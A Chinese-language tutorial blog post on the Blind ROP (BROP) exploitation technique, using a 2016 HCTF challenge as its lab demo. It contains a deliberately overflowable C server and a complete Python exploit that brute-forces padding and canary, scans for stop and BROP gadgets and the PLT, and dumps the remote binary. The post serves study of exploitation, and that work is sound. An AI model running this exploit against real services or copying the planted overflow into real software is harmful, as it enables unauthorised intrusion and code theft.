BROP
即Blind ROP
,是在没有给二进制文件时将二进制文件dump
下来的技术,下面一起来看看。
参考资料
http://wooyun.jozxing.cc/static/drops/tips-3071.html
http://ytliu.info/blog/2014/05/31/blind-return-oriented-programming-brop-attack-yi/
0x01 BROP
1. 利用环境及条件
利用环境就是当服务器上运行了一个应用程序,而我们无法获取对应的二进制文件。
利用条件就下面两点:
- 可以出发栈溢出
- 程序
crash
后会复活,并且复活的进程的相关地址、canary
都不变
2. 准备工作
由于无法获取二进制文件,所以我们的目标就是将其dump
出来,主要思路是通过write
来打印出来,函数原型为:
write(int sock, void *buf, int len)
所以我们只要构造如下的gadget
就可以了(小小地盗下图XD)
不过在找到这四个gadget
之前,还有下面几关需要闯过去。
1) canary
由于我们会导致栈溢出,所以肯定会覆盖到canary
,不过可以通过多少位会crash
来判断canary
的位置,接着通过是否crash
来一位一位地爆破就可以了。
2) stop gadget
当绕过了canary
后,我们就能够控制返回的地址了,但一般填个地址会由于该地址非法导致crash
。但有一种特殊的gadget
叫stop gadget
,表示一断可以导致程序无限循环的gadget
,这时程序就相当于被挂起了,但在攻击者看来连接一直持续着。
3) useful gadget
stop gadget
的作用是什么呢?就是用来让我们判断有无得到一个useful gadget
。如果我们在输入地址后面加入很多个stop gadget
(可能有很多个pop
),那么如果crash
了就说明是我们输入的地址导致的,如果进入了死循环那么说明地址是合法的,也就是useful gadget
。
4) brop gadget
现在我们获取了useful gadget
,那么问题是如何从中间提取出我们需要的4个gadget
?
首先如图所示的brop gadget
可以解决两个gadget
(再小小地盗下图XD)
如果我们找到了这样的brop gadget
,那么就能从中抽离出
==> brop_gadget_addr
pop rsi #brop_gadget_addr + 7
pop r15
ret
pop rdi #brop_gadget_addr + 9
ret
想找到这样的brop gadget
也比较简单,因为连续6次pop
就基本上是这个了,那么我们构造
crash_gadget * 6
stop_gadget
如果最后能进入死循环,那么就说明我们找到了。
5) plt segment
PLT
是什么在这就不多说了,我们现在的目标就是找到PLT
段。首先要明确一个PLT
段的特点,就是其中每一个项都是按16字节对齐的:
同时由于其一般不会因为传入的参数而crash
,所以如果我们寻找到了连续的按16字节对齐且不crash
的地址,而且他们加6或者11之后也不会crash
,那么一般就是PLT
段了。
不过比较特殊的就是包括puts
、printf
、write
这种带输出的函数,会导致判断失误,不过也很容易人工判定具体函数是什么,到时候具体情况具体分析就好了。
6) strcmp plt
gadget
已经可以找到rsi
和rdi
了,那么问题就是rdx
怎么取值。这里我们可以找到一个函数譬如strcmp(a,b)
,在执行完该函数之后会返回b的长度,这样就间接控制了rdx
。(其实只要不是0或者某个地址以至于太大就行)
3. 攻击流程
通过上面的准备工作,我们已经可以获取一些有用的gadget
,以及函数的plt
。
首先我们需要做的就是通过上面的部分找到一个输出的函数,然后根据其调用的参数找到对应的gadget
,为了简化问题这里直接用puts
来做样例。
由于puts
只需要rdi
作为参数,所以我们直接从brop gadget
取出对应的就行,也就是brop_gadget_addr+ 9
。
0x02 demo
1. source code
这里采用z牛在2016HCTF的一道题,出题人失踪了。
不过z牛为了防止fork boom
所以没有在程序中加入fork
,而是写了个守护脚本自动重启程序、转发流量,所以这里我讲程序稍微改写了一下,实现时遇到了很多问题,最终参考fork子进程僵尸问题及解决方案得以解决。
为了简化问题,所以不开启canary
(避免每次都要报错)以及PIE
(为了获取gadget
后就不需要再次尝试了)。
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <signal.h>
#include <string.h>
#include<sys/types.h>
#include<sys/wait.h>
int i;
int check();
void signal_handler(int signo) {
if (signo == SIGCHLD) {
pid_t pid;
while ((pid = waitpid(-1, NULL, WNOHANG)) > 0) {}
}
}
int main(void){
setbuf(stdin,NULL);
setbuf(stdout,NULL);
setbuf(stderr,NULL);
signal(SIGCHLD, signal_handler); // solve the problem that child not exit
int fpid = getpid();
int cpid = fpid+1;
int pid = 0;
while (1){
int ret = kill(cpid,0); // if child still alive now
if (ret!=0){ // child exit
pid = fork();
if (pid<=0){ // fork child
break;
} else{ // update child_pid
cpid = pid;
}
}
}
puts("WelCome my friend,Do you know password?\n");
if(!check()){
puts("Do not dump my memory");
}else {
puts("No password, no game");
}
}
int check(){
char buf[50];
read(STDIN_FILENO,buf,1024);
return strcmp(buf,"aslvkm;asd;alsfm;aoeim;wnv;lasdnvdljasd;flk");
}
2. EXP
#!/usr/bin/env python
# encoding: utf-8
from mypwn import *
import cPickle
import sys
bin_file = "./brop"
remote_detail = ("127.0.0.1",8888)
libc_file = ""
bp = []
pie = True
p,elf,libc = init_pwn(bin_file,remote_detail,libc_file,bp,pie)
OK = 0
CRASH = 1
STOP = 2
def reboot():
global p
p.close()
p,elf,libc = init_pwn(bin_file,remote_detail,libc_file,bp,pie)
def bof(data):
if p.recvuntil("password?\n",timeout=1) == "":
reboot()
return bof(data)
p.send(data)
ret = -1
if p.recv(1,timeout=1) and p.recvuntil("no game",timeout=1)=="": # program reboot means crash->1
ret = CRASH
if p.recv(1,timeout=1)=="": # nothing means stop->2
ret = STOP
reboot()
return ret
def bof_dump(data,length):
reboot()
p.recvuntil("password?\n")
p.send(data)
return p.recvline()
class Gadget():
def __init__(self, start, end):
self.start = start
self.addr = start
self.end = end
self.stop = []
self.brop = []
self.plt = []
def show_item(self,item):
print ','.join([hex(i) for i in item])
def show(self):
log.success("show stop:")
self.show_item(self.stop)
log.success("show brop:")
self.show_item(self.brop)
log.success("show plt:")
self.show_item(self.plt)
class BropPayload():
def __init__(self, bof_func):
self.bit = 8
self.bof = bof_func
self.pad = 72
self.padding = self.pad * "M"
self.canary = 0
self.data_file = "gadget.data"
self.gadget_init_start = 0x400000
self.gadget_init_end = 0x401000
def load_gadget(self):
try:
df = open(self.data_file)
data = df.read()
self.gadget = cPickle.loads(data)
df.close()
except:
self.gadget = Gadget(self.gadget_init_start,self.gadget_init_end)
def save_gadget(self):
df = open(self.data_file,'w')
data = cPickle.dumps(self.gadget)
df.write(data)
df.close()
def get_padding(self):
i = self.pad
while True:
i += 1
payload = i * "A"
if bof(payload)==CRASH:
self.pad = i - 1
break
self.padding = self.pad * "M"
log.success("pad is %d "%(self.pad))
def get_canary(self):
for i in xrange(self.bit):
for j in xrange(255):
if bof(self.padding + chr(j))==OK:
self.padding += chr(j)
self.canary = self.canary<<8 + j
break
print "canary %d is %d" % (i,j)
log.success("canary is %s"%(hex(self.canary)))
def get_stop_gadget(self):
log.info("try to find stop gadget..")
addr = self.gadget.addr
while addr+1<self.gadget.end:
addr += 1
payload = self.padding + p64(addr)
if bof(payload) == STOP:
log.success("stop_gadget found: %s"%(hex(addr)))
self.gadget.stop.append(addr)
break
self.gadget.addr = self.gadget_init_start
self.save_gadget()
p.close()
sys.exit(0)
def get_brop_gadget(self):
log.info("try to find brop gadget..")
addr = self.gadget.addr
while addr+1<self.gadget.end:
addr += 1
payload = self.padding + p64(addr) + p64(0)*6 + p64(self.gadget.stop[-1])
if bof(payload) == STOP:
log.success("brop_gadget found: %s"%(hex(addr)))
self.gadget.brop.append(addr)
break
self.gadget.addr = self.gadget_init_start
self.save_gadget()
p.close()
sys.exit(0)
def get_plt_segment(self):
log.info("try to find plt segment..")
addr = self.gadget.addr & 0xfffffff0
count = 0
start_addr = 0
while addr<self.gadget.end:
addr += 0x10
payload1 = self.padding + p64(addr) + p64(self.gadget.stop[-1])*100
payload2 = self.padding + p64(addr+6) + p64(self.gadget.stop[-1])*100
if bof(payload1) == STOP:
if bof(payload2) == STOP:
log.success("possible plt_%d found: %s"%(count,hex(addr)))
if count == 0:
start_addr = addr
count += 1
if count>3:
break
log.success("plt segment fountd:%s"%(hex(start_addr)))
self.gadget.plt.append(start_addr)
self.gadget.addr = self.gadget_init_start
self.save_gadget()
def dump_file(self, opaddr, length, staddr, enaddr): # puts
log.info("try to dump the file..")
addr = staddr
prdi = self.gadget.brop[-1] + 9
binfile = ""
while addr<enaddr:
payload = self.padding + p64(prdi) + p64(addr) + p64(opaddr) + p64(brop.gadget.stop[-1])
ret = bof_dump(payload,length)[:-1] # kill \n
if len(ret)==0: ret = '\x00'
binfile += ret
addr += len(ret)
print binfile.encode("hex")
def prepare():
brop.load_gadget()
brop.get_padding()
if len(brop.gadget.stop)==0:
brop.gadget.addr = 0x400931
brop.get_stop_gadget()
if len(brop.gadget.brop)==0:
brop.gadget.addr = 0x4009b9
brop.get_brop_gadget()
if len(brop.gadget.plt)==0:
brop.gadget.addr = 0x400670
brop.get_plt_segment()
brop.gadget.show()
def attack():
output_addr = brop.gadget.plt[-1]-0x10 # we can see output here
length = 8
brop.dump_file(output_addr, length, 0x400000,0x401000)
return
if __name__ == "__main__":
brop = BropPayload(bof)
prepare()
attack()
No Leanote account ? Sign up now.